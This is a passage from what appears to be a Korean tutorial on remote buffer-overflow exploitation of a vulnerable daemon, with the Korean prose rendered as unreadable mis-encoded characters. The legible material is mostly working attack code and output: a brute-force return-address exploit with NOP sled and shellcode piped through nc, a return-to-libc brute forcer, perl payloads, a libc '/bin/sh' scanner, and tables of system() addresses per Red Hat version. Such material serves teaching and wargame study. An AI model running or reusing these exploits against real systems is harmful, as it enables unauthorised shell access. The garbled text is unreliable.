'A', 1000); // ¹öÆÛ ÃʱâÈ­ memset(spy+128, '\x90', 1000); // RET ÀÌÈĸ¦ NOPÀ¸·Î °¡µæ ä¿î´Ù. memcpy(spy+1000-strlen(shellcode), shellcode, strlen(shellcode)); // ¾ÕÂÊÀÇ NOPµéÀ» À¯Áö½ÃŲ ä º¯¼öÀÇ ³¡ ºÎºÐ¿¡ ½©Äڵ尡 µé¾î°£´Ù. ret = (int *)0xc0000000; while(1){ printf("%p\n", ret); memcpy(spy+124, &ret, 4); sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy); system(command); ret = ret - 200; // ³Ë³ËÇÏ°Ô 800¹ÙÀÌÆ®¾¿ À̵¿ÇÑ´Ù. } } ========================================================================== ÀÌÁ¦ ´õ¿í ¼³·¹ÀÌ´Â ¸¶À½À¸·Î ExploitÀ» ½ÇÇàÇغ¸ÀÚ. ===================================== [root@ftz BOF]# ./ex 0xc0000000 0xbffffce0 uid=1000(guest) gid=1000(guest) ===================================== ¼º°ú°¡ ¾öû³ª´Ù. ´Ü µÎ ¹ø¸¸¿¡ °ø°ÝÀ» ¼º°ø½ÃÄ×´Ù. ÀÌ °ø°ÝÀ» »ç¿ëÇÒ ¶§ÀÇ ÁÖÀÇÇÒ Á¡Àº spy º¯¼öÀÇ Å©±â¸¦ ³Ê¹« °úÇÏ°Ô ÀâÀ¸¸é, ½ºÅÃÀÇ ¿µ¿ªÀ» ¹þ¾î³ª 0xc0000000 µÞ ÂÊÀÇ Ä¿³ÎÀ» °Çµå·Á °ø°ÝÀÌ ¼º°øÇϱ⵵ Àü¿¡ ÇÁ·Î±×·¥ÀÌ Á¾·áµÇ´Â ¼ö°¡ ÀÖ´Ù´Â Á¡ÀÌ´Ù. ´ë·« 800 ¹ÙÀÌÆ®ÀÇ spy º¯¼ö¸¦ Àâ¾ÆÁÖ¸é °¡Àå ¹«³­ÇÏ´Ù. ÀÌÁ¦ ´ÙÀ½¿¡ Å×½ºÆ®ÇØ º¼ ³»¿ëÀº ¹Ù·Î ¹öÆÛÀÇ Å©±â°¡ ¸Å¿ì ÀÛÀ» ¶§ÀÇ ¸®¸ðÆ® °ø°Ý ÀÌ´Ù. Ãë¾à ÇÁ·Î±×·¥ÀÇ ¼Ò½º°¡ ´ÙÀ½°ú °°´Ù°í °¡Á¤Çغ¸ÀÚ. ====================================================== int main() { char buffer[8]; gets(buffer); printf("´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : %s\n", buffer); } ====================================================== ¹öÆÛÀÇ Å©±â°¡ ¸Å¿ì ÀÛÀ½À¸·Î, ½©Äڵ带 ÁÖÀÔÇÒ °ø°£ÀÌ ¾ø´Ù. ÇÏÁö¸¸, ÀÌ¿¡´ëÇÑ ´äÀº ÀÌ¹Ì ³ª¿Ô´Ù. ¹Ù·Î ¾Õ¼­ ¹è¿ü´ø "RET µÞ ÂÊ¿¡ NOP ³Ö±â" ±â¹ýÀ» »ç¿ëÇÏ¸é µÈ´Ù. °ø°Ý °úÁ¤°ú °á°ú´Â ¾Õ¼­ Çß´ø °Í°ú µ¿ÀÏÇÔÀ¸·Î »ý·«Çϵµ·Ï ÇÏ°Ú´Ù. (Exploit¿¡¼­ RETÀÌ ÀúÀåµÇ´Â À§Ä¡¿Í º¯¼ö·Î µé¾î°¥ ¾²·¹±â °ªÀÇ Å©±â¸¸ ¼öÁ¤ÇÏ¸é µÉ °ÍÀÌ´Ù.) ÀÚ, ´ÙÀ½ Â÷·Ê´Â ¸®¸ðÆ® ȯ°æ¿¡¼­ÀÇ Return To Library ±â¹ý È°¿ë¹ýÀÌ´Ù. ÀÌ·± °ø°Ý ¹æ½ÄÀ» »ç¿ëÇؾßÇÏ´Â °æ¿ì´Â °ÅÀÇ ¾ø°ÚÁö¸¸, °¡²û wargameÀ̳ª hacking event µî¿¡¼­ ¹®Á¦¸¦ À§ÇØ ÃâÁ¦µÇ´Â °æ¿ì°¡ ÀÖ´Ù. ÀÏ´Ü, ¿ì¸®°¡ »ç¿ëÇÒ ¶óÀ̺귯¸®´Â system() ÇÔ¼ö¶ó°í °¡Á¤ÇÑ´Ù. ±×·³, ÀÌ ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ¾î¶»°Ô ã¾Æ³¾ °ÍÀΰ¡? ÀÌ ÇÔ¼ö´Â /lib/i686/libc-2.2.5.so °øÀ¯ ¶óÀ̺귯¸®¿¡ Á¸ÀçÇϸç, ÇÁ·Î¼¼½º°¡ ½ÇÇà µÉ ¶§ º¸Åë 42000000~4212c000 »çÀÌÀÇ ÁÖ¼Ò¿¡ ÀûÀçµÈ´Ù. ±×·³ °ú¿¬ ÀÌ ÁÖ¼Ò¸¦ ¸ðµÎ »ô»ôÀÌ °Ë»öÇÏ¿© system() ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ã¾Æ¾ßÇÒ±î? ¾Æ¸¶µµ ¾Æ¹«·± ÈùÆ®µµ ¾ø´Â »óȲÀ̶ó¸é ÀÌ ¹æ¹ýÀÌ Á¤¼®ÀÌ°ÚÁö¸¸, ´ÙÀ½°ú °°Àº »ç½ÇÀ» ¾È´Ù¸é ¸Å¿ì ½±°Ô system ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ã¾Æ³¾ ¼ö ÀÖ´Ù. ±× »ç½ÇÀº ¹Ù·Î "°¢ ¸®´ª½º ¹èÆ÷º»µéÀÇ system ÇÔ¼ö ÁÖ¼Ò´Â µ¿ÀÏÇÏ´Ù" ÀÌ´Ù. Áï, A¶ó´Â ¼­¹ö°¡ ·¹µåÇÞ 8.0À» »ç¿ëÇÏ°í ÀÖ°í, B¶ó´Â ¼­¹ö ¿ª½Ã ·¹µåÇÞ 8.0À» »ç¿ëÇÏ°í ÀÖ´Ù¸é, A¿¡¼­ Á¶»çµÈ system ÇÔ¼öÀÇ ÁÖ¼Ò°¡ B¿¡¼­ Á¶»çµÈ system ÇÔ¼öÀÇ ÁÖ¼Ò¿Í µ¿ÀÏÇÏ´Ù´Â ¸»ÀÌ´Ù. ´ÙÀ½Àº ÀÌ ¹®¼­¸¦ À§ÇÏ¿© ¹Ì¸® Á¶»çÇÑ °¢ ¹èÆ÷º»µéÀÇ system ÇÔ¼ö ÁÖ¼ÒÀÌ´Ù. ¡Ø °¢ ¹èÆ÷º»µéÀÇ system ÇÔ¼ö ÁÖ¼Ò ¸ðÀ½ (Â÷ÈÄ °è¼Ó ¾÷µ¥ÀÌÆ® ¿¹Á¤) ========================= ·¹µåÇÞ 6.2 : 0x4005aae0 ·¹µåÇÞ 7.3 : 0x42049e54 ·¹µåÇÞ 9.0 : 0x4203f2c0 ========================= µ¥¸óÀ¸·Î ÀÛµ¿ ÁßÀÎ Ãë¾à ÇÁ·Î±×·¥ÀÇ È¯°æÀÌ ·¹µåÇÞ ¹öÁ¯ ¸îÀÎÁö´Â ¾Ë ¼ö ¾øÀ» °ÍÀÌ´Ù. µû¶ó¼­, À§ÀÇ °ªµéÀ» Çϳª¾¿ Â÷·Ê´ë·Î ´ëÀÔÇسª°¡¸ç È®ÀÎÀ» Çϵµ·Ï ÇÑ´Ù. =========================================================================== [root@ftz BOF]# perl -e 'printf "A"x124; printf "\xe0\xaa\x05\x40"; printf "\n"' | nc localhost 31337 [root@ftz BOF]# perl -e 'printf "A"x124; printf "\x54\x9e\x04\x42"; printf "\n"' | nc localhost 31337 sh: [?? command not found [root@ftz BOF]# =========================================================================== 0x42049e54¿¡¼­ command not found°¡ ³ªÅ¸³µ´Ù. À̷νá Ÿ°ÙÀÇ È¯°æÀÌ ·¹µåÇÞ 7.3ÀÓ°ú °øÀ¯ ¶óÀ̺귯¸® ³»ÀÇ system ÇÔ¼ö À§Ä¡¸¦ ¾Ë ¼ö°¡ ÀÖ´Ù. ±×·³ ÀÌÁ¦ ÇÊ¿äÇÑ °ÍÀº "/bin/bash", "/bin/sh", "bash", "sh" µî ½© ¸í·ÉÀ» ÀÇ¹Ì ÇÏ´Â ¹®ÀÚ¿­ÀÇ ÁÖ¼ÒÀÌ´Ù. ¾ÈŸ±õÁö¸¸ ÀÌ ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò ¿ª½Ã Áö±ÝÀÇ »óȲ¿¡¼­´Â ±â°¡ ¸·È÷°Ô ã¾Æ ³»´Â Ưº°ÇÑ ¹æ¹ýÀÌ ¾ø´Ù. ¾Æ¹«¸® system() ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ¾Ë°íÀÖ´Ù ÇÏ´õ¶óµµ ÀÎÀÚ·Î µé¾î°¥ ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¸¦ BRUTE FORCE·Î ã¾Æ³»¾ßÇϱ⠶§¹®¿¡ ¸®¸ðÆ® »ó¿¡¼­ RTL ±â¹ýÀº ±×´ÙÁö ¸Å¸®Æ®°¡ ÀÖÁö ¾Ê´Ù. (ÇÏÁö¸¸, µÚ¿¡¼­ ¼³¸íµÇ´Â RTL ÀÀ¿ë ±â¹ý¿¡¼­´Â ¾ê±â°¡ ´Þ¶óÁø´Ù.) RTL ±â¹ýÀ» °øºÎÇÑ °æÇèÀÌ ÀÖ´Ù¸é, °­Á¦·Î È£ÃâµÈ system() ÇÔ¼öÀÇ ÀÎÀÚ°¡ return address + 8 ºÎºÐ¿¡ À§Ä¡ÇÏ°Ô µÈ´Ù´Â »ç½ÇÀ» ¾Ë°í ÀÖÀ» °ÍÀÌ´Ù. ÀÌ Á¡À» °¨¾ÈÇÏ¿© Brute Force ±â´ÉÀ» °¡Áø ExploitÀ» ±¸ÇöÇغ¸ÀÚ. ========================================================================== #include int main() { int *arg; char command[200]; arg = (int *)0xc0000000; // system ÇÔ¼öÀÇ ÀÎÀÚ·Î µé¾î°¥ ÁÖ¼Ò °ª. while(1){ printf("&arg = %p\n", arg); sprintf(command, "(printf \"id\\n\" | (perl -e 'printf \"sh\\0\\0\"x31; printf \"\\x54\\x9e\\x04\\x42AAAA\"; printf \"%s\\n\"';cat)) | nc localhost 31337", &arg); system(command); arg--; // ÀÎÀÚÀÇ ¿¹»ó ÁÖ¼Ò¸¦ 4¹ÙÀÌÆ®¾¿ °¨¼Ò. } } ========================================================================== sprintf() ºÎºÐÀÌ Á¶±Ý Á¶ÀâÇØ º¸ÀÌÁö¸¸, ´ÙÀ½°ú °°ÀÌ Á¤¸®Çؼ­ º¸¸é ½±°Ô ÀÌÇØ°¡ °¥ °ÍÀÌ´Ù. ¡Ý Á¤¸® $ perl -e 'printf "sh\0\0"x31; printf "\x54\x9e\x04\x42AAAA"; printf "?\n" ¡Ý ºÐ¼® printf "sh\0\0"x31 : ½©À» ÀǹÌÇÏ´Â sh ¸í·ÉÀÌ´Ù. ÀÎÀÚ·Î ºÒ·¯Áú ¶§ ¹®ÀÚ¿­ÀÇ ³¡À» ÀνÄÇϵµ·Ï Çϱâ À§ÇØ NULLÀ» ³Ö¾îÁÖ¾ú°í, 4¹ÙÀÌÆ® ´ÜÀ§¸¦ ¸ÂÃß±â À§ÇØ ¶Ç ÇѹøÀÇ NULLÀ» ³Ö¾îÁÖ¾ú´Ù. ÀÌ°ÍÀÌ ÀúÀåµÇ´Â ºÎºÐÀº Ãë¾à ÇÁ·Î±×·¥ÀÇ Áö¿ª º¯¼ö À̸ç, 0xc0000000 ÁÖ¼Ò¿¡¼­ 4¹ÙÀÌÆ®¾¿ °¨¼Ò½ÃÅ°´Ù º¸¸é ¾ðÁ¨°¡´Â ÀÌ ºÎºÐÀ» °¡¸® ÄѼ­ ½©À» ½ÇÇàÇÏ°Ô µÉ °ÍÀÌ´Ù. printf "\x54\x9e\x04\x42AAAA" : system ÇÔ¼öÀÇ ÁÖ¼ÒÀ̸ç, ¸®ÅÏ ¾îµå·¹½º¸¦ µ¤¾î ¾²°Ô µÈ´Ù. ±× µÚÀÇ AAAA´Â GARBAGE 4¹ÙÀÌÆ®ÀÌ´Ù. ¸®ÅÏ ¾îµå·¹½º·ÎºÎÅÍ 8¹ÙÀÌÆ® µÞ ÂÊÀÇ °ªÀ» system ÇÔ¼öÀÇ ÀÎÀÚ·Î »ç¿ëÇϱ⠶§¹®ÀÌ´Ù. printf "?\n" : BRUTE FORCE·Î ±¸ÇÑ ÀÎÀÚÀÇ ÁÖ¼Ò°¡ ÀԷµǴ ºÎºÐÀÌ´Ù. ? ºÎºÐ¿¡ ÁÖ¼Ò °ªÀÌ ÀúÀåµÈ´Ù. ÀÌ·¸°Ô º¸´Ï È®½ÇÈ÷ ½±´Ù. Âü°í·Î ¾ÕÂÊÀÇ printf "id\n" ºÎºÐÀº °ø°Ý¿¡ ¼º°øÇÏ¿© ½©À» ȹµæÇÑ ÈÄ, È­¸é¿¡ ¾Æ¹«°Íµµ ³ªÅ¸³ªÁö ¾Ê¾Æ ¿ì¸®°¡ °ø°ÝÀÌ ¼º°øÇß´ÂÁö¸¦ ¾Ë±â ¾î·Æ±â ¶§¹®¿¡ id ¸í·ÉÀÇ °á°ú°¡ Ãâ·ÂµÇµµ·Ï ÇÑ °ÍÀÌ´Ù. ÀÌÁ¦ ÀÌ ExploitÀ» ½ÇÇà½ÃÄѺ¸ÀÚ. ==================================== [root@ftz BOF]# ./ex &arg = 0xc0000000 sh: AAAA: command not found &arg = 0xbffffffc &arg = 0xbffffff8 ... »ý·« sh: 000: command not found &arg = 0xbfffff2c &arg = 0xbfffff28 &arg = 0xbfffff24 &arg = 0xbfffff20 &arg = 0xbfffff1c uid=1000(guest) gid=1000(guest) (°ø°Ý ¼º°ø) ==================================== ¾à 1ºÐµµ ä ¾ÈµÇ¼­ 0xbfffff1c¿¡¼­ ½© ¸í·ÉÀ» ¹ß°ßÇÏ¿´´Ù. ±×·±µ¥ ¾óÇÍ ºÁµµ ÀÌ ÁÖ¼Ò ¿µ¿ª°¡ Ãë¾à ÇÁ·Î±×·¥ÀÇ ·ÎÄà º¯¼ö ¿µ¿ªÀº ¾Æ´Ñ °Í °°´Ù. °ú¿¬ ¾î¶² ºÎºÐÀ̱淡 ½© ¸í·ÉÀÌ ÀÖ´Â °ÍÀϱî? GDB·Î Á¶»çÇغ¸¸é.. ¹Ù·Î "SHELL=/bin/bash" Áï, ȯ°æ º¯¼ö¿¡¼­ /bin/bash ¹®ÀÚ¿­À» ã¾Æ³Â´ø °ÍÀÌ´Ù. µû¶ó¼­ Exploit stringÀÇ ¾Õ ÂÊ¿¡ "sh\0\0"À» °¡µæ ¸Å¿ü´ø °ÍÀº Àǹ̰¡ ¾ø¾ú´Ù. ´Ü, ¸¸¾à ÀÌ È¯°æº¯¼öÀÇ "/bin/bash" ¹®ÀÚ¿­ÀÇ ½ÃÀÛ ÁÖ¼Ò°¡ 4¹ÙÀÌÆ® ´ÜÀ§·Î µü ¶³¾îÁöÁö ¾Ê¾Ò¾ú´Ù¸é, À§Ã³·³ ½±°Ô ½©ÀÌ ¶ßÁö ¾Ê¾ÒÀ» °ÍÀÌ´Ù. µû¶ó¼­ º¯¼ö¿¡ ƯÁ¤ ¹®ÀÚ¿­ÀÌ µé¾î°¡°Ô ÇÏ´Â °ÍÀÌ ¾ÆÁÖ ÇÊ¿ä°¡ ¾ø´Â °Íµµ ¾Æ´Ï´Ù. ÇÏÁö¸¸, 4¹ÙÀÌÆ®°¡ ¾Æ´Ñ 1¹ÙÀÌÆ® ´ÜÀ§·Î argÀÇ ÁÖ¼Ò¸¦ °¨¼Ò½ÃÄÑ ³ª°¬´Ù¸é ¾ê±â´Â ¶Ç ´Þ¶óÁø´Ù. 1¹ÙÀÌÆ® ´ÜÀ§·Î BRUTE FORCE¸¦ ÁøÇàÇϸé 100% ȯ°æ º¯¼öÀÇ "/bin/bash"¸¦ ÂüÁ¶ÇÒ ¼ö Àֱ⠶§¹®ÀÌ´Ù. ÀÌ·± Á¡µéÀ» ¸ðµÎ °¨¾ÈÇÏ¿© °¢ÀÚ°¡ ¾Ë¾Æ¼­ °¡Àå ÇÕ¸®ÀûÀÎ ¹æ¹ýÀ¸·Î °ø°ÝÀ» ½ÃµµÇϱ⠹ٶõ´Ù. ¡Ý ´Ü Çѹø¿¡ RTLÀ» ÀÌ¿ëÇÑ °ø°Ý ¼º°ø½ÃÅ°±â ¾Õ¼­ ÁøÇàÇÑ °ø°Ý °á°ú¸¦ ÀÚ¼¼È÷ º¸¸é ½Å±âÇÑ Á¡ÀÌ ¹ß°ßµÈ´Ù. ==================================== [root@ftz BOF]# ./ex &arg = 0xc0000000 sh: AAAA: command not found ... ==================================== ¹Ù·Î ÁÖ¼Ò°¡ 0xc0000000ÀÏ ¶§, ¿ì¸®°¡ GARBAGE·Î ³Ö¾ú´ø AAAA°¡ Æ¢¾î³ª¿Â °ÍÀÌ´Ù. ¾î°¼­ ÀÌ·¯ÇÑ °á°ú°¡ ³ªÅ¸³­ °ÍÀϱî? ÀÏ´Ü, return address + 8 ºÎºÐ¿¡ µé¾î°¡°Ô µÇ´Â °ªÀ» »ý°¢Çغ¸ÀÚ. ÀÌ ºÎºÐÀÇ °ªÀº sprintf(command, "...%s..."), &arg); ºÎºÐ¿¡ ÀÇÇÏ¿© &argÀÇ °ª. Áï, 0xc0000000ÀÌ µé¾î°¥ °Í °°´Ù. ÇÏÁö¸¸ Á¶±Ý ´õ »ý°¢ Çغ¸¸é 0xc0000000ÀÌ BIG ENDIANÀ¸·Î º¯È¯µÇ¾î 0x000000c0°ú °°ÀÌ ¹Ý´ë·Î Àû¿ë µÈ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ±×·³, ù ¹ÙÀÌÆ®°¡ NULL(0x00)À̱⠶§¹®¿¡ °á±¹ return address + 8 ºÎºÐ¿¡´Â ¾Æ¹« °Íµµ ÀúÀåÀÌ µÇÁö ¾Ê´Â´Ù. ±×¸®°í, ±× ´ë½Å ´ÙÀ½ À̾îÁö´Â printf "\n" ºÎºÐ¿¡ ÀÇÇؼ­ ¿£ÅÍ Å°°¡ ÀÔ·ÂÀÌ µÈ´Ù. ÀÌÁ¦ Ãë¾à ÇÁ·Î±×·¥À¸·Î ÀÌ ¹®ÀÚ¿­ÀÌ Àü¼ÛÀÌ µÇ°í, ¿£ÅÍÀÎ \nÀº ¹®ÀÚ¿­ÀÇ ³¡À̾úÀ½À» ÀǹÌÇÔÀ¸·Î ÀÚµ¿À¸·Î gets ÇÔ¼ö¿¡ ÀÇÇØ NULL·Î º¯È¯ µÈ´Ù. ÀÚ, ±×·³ °ú¿¬ ÀÌ »óȲ¿¡¼­ÀÇ ½ºÅÿ¡ ¾î¶² °ÍµéÀÌ ´ã±â°Ô µÇ´ÂÁö dumpcode¸¦ ÀÌ¿ëÇÏ¿© »ìÆ캸ÀÚ. ´ÙÀ½Àº SFP Á÷Àü±îÁö¸¸ µ¤µµ·Ï ¹®ÀÚ¿­À» º¸³½ °ÍÀÇ ´ýÇÁ °á°úÀÌ´Ù. 0xbffffaa0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh.. 0xbffffab0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh.. 0xbffffac0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh.. 0xbffffad0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh.. 0xbffffae0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh.. 0xbffffaf0 73 68 00 00 73 68 00 00 73 fb ff bf 99 74 01 42 sh..sh..8....t.B 0xbffffb00 01 00 00 00 64 fb ff bf 6c fb ff bf fa 82 04 08 ....d...l....... À§¿¡¼­ 0xbffffaf0 ¶óÀÎÀÇ °¡Àå ¿À¸¥ÂÊ¿¡ ÀÖ´Â \x42017499°¡ ¹Ù·Î main ÇÔ¼öÀÇ ¿Ã¹Ù¸¥ ¸®ÅÏ ¾îµå·¹½ºÀÌ´Ù. ±×¸®°í ¸®ÅÏ ¾îµå·¹½ºÀÇ ½ÃÀÛ ÁÖ¼Ò¿¡¼­ºÎÅÍ 8¹ÙÀÌÆ® ¶³¾îÁø °÷À» º¸¸é, \xbffffb64°¡ À§Ä¡ÇÑ´Ù. ±×¸®°í ÀÌ °ÍÀº argv[0]ÀÇ ÁÖ¼ÒÀÌ´Ù. ÀÌÁ¦ ´Ù½Ã °ø°Ý ÇÏ´Â »óȲÀ¸·Î µ¹¾Æ°¡¼­, return address + 8 ºÎºÐÀ» ÁöÁ¤ÇØÁÖÁö ¾ÊÀº ä, \n°¡ ÀԷµǰí, \nÀº 0x00À¸·Î º¯È¯µÇ´Â »óȲÀ» »ý°¢Çغ¸ÀÚ. ±×·³, À§ ÁÖ¼Ò¿¡¼­ 0xbffffb00 ºÎºÐ¿¡´Â GARBAGEÀÎ "AAAA"°¡ ÀÔ·ÂµÉ °ÍÀÌ°í, ¹Ù·Î µÚÀÇ \x64´Â \nÀÌ µÇ¾ú´Ù°¡ ÃÖÁ¾ÀûÀ¸·Î´Â \x00ÀÌ µÉ °ÍÀÌ´Ù. µû¶ó¼­, return address +8ÀÇ °ªÀº °á±¹ \xbffffb00ÀÌ µÇ¾î¹ö¸°´Ù. ±×¸®°í ±× ºÎºÐ¿¡´Â? ±×·¸´Ù. ¹Ù·Î "AAAA" °¡ ÀÖ´Ù. ±×·¸±â ¶§¹®¿¡ 0xc0000000ÀÌ ÁÖ¼Ò°¡ µÇ¾úÀ» ¶§ AAAA°¡ ½ÇÇàµÇ¾ú´ø °ÍÀÌ´Ù. ÀÌ´Â Áï, ºñ´Ü 0xc0000000 »Ó¸¸ ¾Æ´Ï¶ó, ¾ÕÂÊ 1¹ÙÀÌÆ®°¡ NULLÀ̵Ǵ ¸ðµç ÁÖ¼ÒÀÏ ¶§µµ °°Àº »óȲÀÌ ³ªÅ¸³ª¸ç, ¾Æ¿¹ ÀÌ ÁÖ¼Ò °ªÀ» ÁöÁ¤ÇØÁÖÁö ¾Ê¾Æµµ °°Àº »óȲÀÌ ³ªÅ¸ ³¯ °ÍÀÌ´Ù. ´Ü, À§¿¡¼­ AAAA°¡ À§Ä¡ÇÏ°Ô µÇ´Â 0xbfffff00 ÁÖ¼Ò °ªÀÌ ½Ã½ºÅÛ¿¡ µû¶ó Ç×»ó ÀÏÁ¤ ÇÑ °ÍÀÌ ¾Æ´Ï´Ù. Áï, ¸¸¾à AAAA°¡ À§Ä¡ÇÏ°Ô µÇ´Â ÁÖ¼Ò°¡ 0xbfffff10À̶ó¸é, return address+8 ºÎºÐÀÇ Ã¹ ¹ÙÀÌÆ®°¡ NULL·Î ¹Ù²î¾îºÃÀÚ ÀüÇô ¼Ò¿ëÀÌ ¾ø´Ù. µû¶ó¼­ ÀÌ °ø°ÝÀº AAAA°¡ À§Ä¡ÇÏ´Â ºÎºÐÀÇ ÁÖ¼Ò°¡ 00À¸·Î ³¡³ª´Â ȯ°æ¿¡¼­¸¸ Àû¿ëµÈ´Ù´Â ´ÜÁ¡ÀÌ ÀÖ´Ù. ±×·¯³ª, ÀÌ Æ¯Â¡À» Àß ÀÌÇØÇÏ°í, ¿©·¯°¡Áö °ø°Ý Å×½ºÆ®¸¦ Á÷Á¢ °æÇèÇÏ¿© ³ëÇϿ츦 ½×°Ô µÇ¸é, return address+4 ºÎºÐÀÇ °ªÀÌ º¸Åë ¾î¶² °ÍÀÌ µÈ´Ù´Â °ÍÀ» ¿¹ÃøÇÒ ¼ö ÀÖ°Ô µÉ °ÍÀÌ´Ù. ¾Æ¸¶µµ º¸Åë 0xbffffb00, 0xbffffb10, 0xbffffb20, ... 0xbffffbf0, ÀÌ 16°³ ÁßÀÇ Çϳª°¡ µÉ °ÍÀÌ´Ù. ¸¶Áö¸· 1¹ÙÀÌÆ®°¡ ¹«Á¶°Ç 1ÀÌ µÇ´Â ÀÌÀ¯´Â ¸®ÅÏ ¾îµå·¹½º°¡ 16¹ÙÀÌÆ® ´ÜÀ§·Î Á¤·ÄµÇ¾î dumpÇßÀ» ¶§ °¡Àå µÞ ºÎºÐ¿¡ À§Ä¡Çϱ⠶§¹®ÀÌ´Ù. °¡Àå µÞ ºÎºÐÀº 0x???????f·Î ³¡³ª°Ô µÊÀ¸·Î ±× ´ÙÀ½ ¹ÙÀÌÆ®À̸ç, AAAA°¡ À§Ä¡Çß´ø ÁÖ¼ÒÀÇ ³¡ ¹ÙÀÌÆ®´Â ÀÚ¿¬½º·´°Ô 0ÀÌ µÇ´Â °ÍÀÌ´Ù. ÀÌ Æ¯Â¡À» ÆľÇÇÏ¿´´Ù¸é, ÃÖ´ë 16¹ø À̳»¿¡ RTL ±â¹ýÀ» ¼º°ø½Ãų ¼ö ÀÖÀ½À» ÀÇ¹Ì ÇÑ´Ù. ÅؽºÆ® ¸¸À¸·Î´Â ÀÌÇØ°¡ Èûµé °ÍÀÌ´Ï ´õ¿í ÀÚ¼¼ÇÑ ³»¿ëÀº Á÷Á¢ Å×½ºÆ®¸¦ Çغ¸¸ç ÇнÀÇϱ⠹ٶõ´Ù. ¡Ý ´Ü Çѹø¿¡ RTLÀ» ÀÌ¿ëÇÑ °ø°Ý ¼º°ø½ÃÅ°±â 2 À̹ø¿£ ¶Ç ´Ù¸¥ ¹æ¹ýÀ¸·Î RTL °ø°ÝÀ» ´Ü Çѹø¿¡ ¼º°ø½ÃÅ°´Â ¹æ¹ýÀÌ´Ù. ¾Õ¼­ ¿ì¸®´Â OSÀÇ ¹öÁ¯¸¸ µ¿ÀÏÇÏ´Ù¸é, ¶óÀ̺귯¸® ³»ÀÇ system() ÇÔ¼ö ÁÖ¼Ò ¿ª½Ã µ¿ÀÏÇÏ´Ù´Â °ÍÀ» ¹è¿ü´Ù. ±×·³, ¶óÀ̺귯¸® ³»¿¡ Á¸ÀçÇÏ´Â "/bin/sh"¶ó´Â ¹®ÀÚ¿­ÀÇ À§Ä¡ ¿ª½Ã Ç×»ó ÀÏÁ¤ÇÏÁö ¾ÊÀ»±î? ¾Æ¸¶µµ ÀûÀçµÇ´Â ¶óÀ̺귯¸®ÀÇ ³»¿ëÀº Ç×»ó Á¤ÀûÀÓÀ¸·Î system() ÇÔ¼öÀÇ ÁÖ¼Ò¿Í ¸¶Âù°¡Áö·Î ÀÏÁ¤ÇÑ ÁÖ¼Ò °ª¿¡ À§Ä¡ÇÏ°Ô µÉ °ÍÀÌ È®½ÇÇÏ´Ù. ±×·³, °ú¿¬ ¶óÀ̺귯¸® ³»¿¡ "/bin/sh"¶ó´Â ¹®ÀÚ¿­ÀÌ Á¸ÀçÇÒ±î? Á¸ÀçÇÒ È®·üÀº ¸Å¿ì Å©´Ù. ÀÏ´Ü, "/bin/sh"¶ó´Â ¹®ÀÚ¿­ÀÌ ¿ö³« ºóµµÀÖ°Ô »ç¿ëµÇ´Â ¹®ÀÚ¿­Àε¥´Ù°¡, system() µîÀÇ ½©À» È£ÃâÇÏ´Â ÇÔ¼öµéÀÌ ¾Æ¸¶µµ ³»ºÎÀûÀ¸·Î "/bin/sh"À» ÇÊ¿ä·Î ÇÒ °ÍÀ̱⠶§¹®ÀÌ´Ù. ±×·³, ´ÙÀ½°ú °°Àº °£´ÜÇÑ ÇÁ·Î±×·¥À» ±¸ÇöÇÏ¿© ¶óÀ̺귯¸® ³»¿¡¼­ "/bin/sh"¶ó´Â ¹®ÀÚ¿­À» ã¾Æº¸µµ·Ï ÇÏÀÚ. =========================================================== int main() { char *pointer; pointer = (char *)0x42000000; while(1){ pointer++; if(strncmp(pointer, "/bin/sh", 7)==0){ printf("Found : %p\n", pointer); exit(0); } } } =========================================================== º¸´Ù½ÃÇÇ, 0x420000000¿¡¼­ 1¹ÙÀÌÆ®¾¿ Áõ°¡ÇØ°¡¸ç, "/bin/sh"¶ó´Â ¹®ÀÚ¿­À» °Ë»öÇÑ´Ù. ±×¸®°í ¸¸¾à ã¾ÒÀ» °æ¿ì ±× ÁÖ¼Ò¸¦ Ãâ·ÂÇØÁØ´Ù. À§ ÇÁ·Î±×·¥À» ½ÇÇàÇغ¸ÀÚ. ====================================== [root@ftz BOF]# gcc -o find find.c [root@ftz BOF]# ./find Found : 0x421273f3 [root@ftz BOF]# ====================================== À§¿¡ º¸ÀÌ´Â 0x421273f3 ÁÖ¼Ò¿¡¼­ "/bin/sh"¶ó´Â ¹®ÀÚ¿­À» ¹ß°ßÇÏ¿´´Ù. ÀÌ ÁÖ¼Ò °ø°£Àº 420000000 ~ 4212c000 »çÀÌÀÇ °ªÀÓÀ¸·Î, libc-2.2.5.so °øÀ¯ ¶óÀ̺귯¸® ³»ÀÇ °ªÀ̶ó´Â °ÍÀ» /proc/self/maps ÆÄÀÏÀ» ÅëÇØ À¯ÃßÇÒ ¼ö ÀÖ´Ù. ÀÚ, ÀÌÁ¦ °¢ ¹èÆ÷º»¿¡ ÇØ´çÇÏ´Â system() ÇÔ¼ö ÁÖ¼Ò¸¦ ¼öÁýÇß´ø °Íó·³ "/bin/sh" ÁÖ¼ÒÀÇ °ª ¿ª½Ã Á¤¸®Çغ¸ÀÚ. ¡Ø °¢ ¹èÆ÷º»µéÀÇ system, "/bin/sh" ÁÖ¼Ò ¸ðÀ½ (Â÷ÈÄ °è¼Ó ¾÷µ¥ÀÌÆ® ¿¹Á¤) ====================================== ¹èÆ÷º» &system &"/bin/sh" -------------------------------------- ·¹µåÇÞ 6.2 : 0x4005aae0 0x400fdff9 ·¹µåÇÞ 7.3 : 0x42049e54 0x421273f3 ·¹µåÇÞ 9.0 : 0x4203f2c0 0x42127ea4 ====================================== ÀÌÁ¦ ÀÌ °ªµéÀ» Åä´ë·Î Ãë¾à ÇÁ·Î±×·¥¿¡ ´ëÇÑ ¸®¸ðÆ® 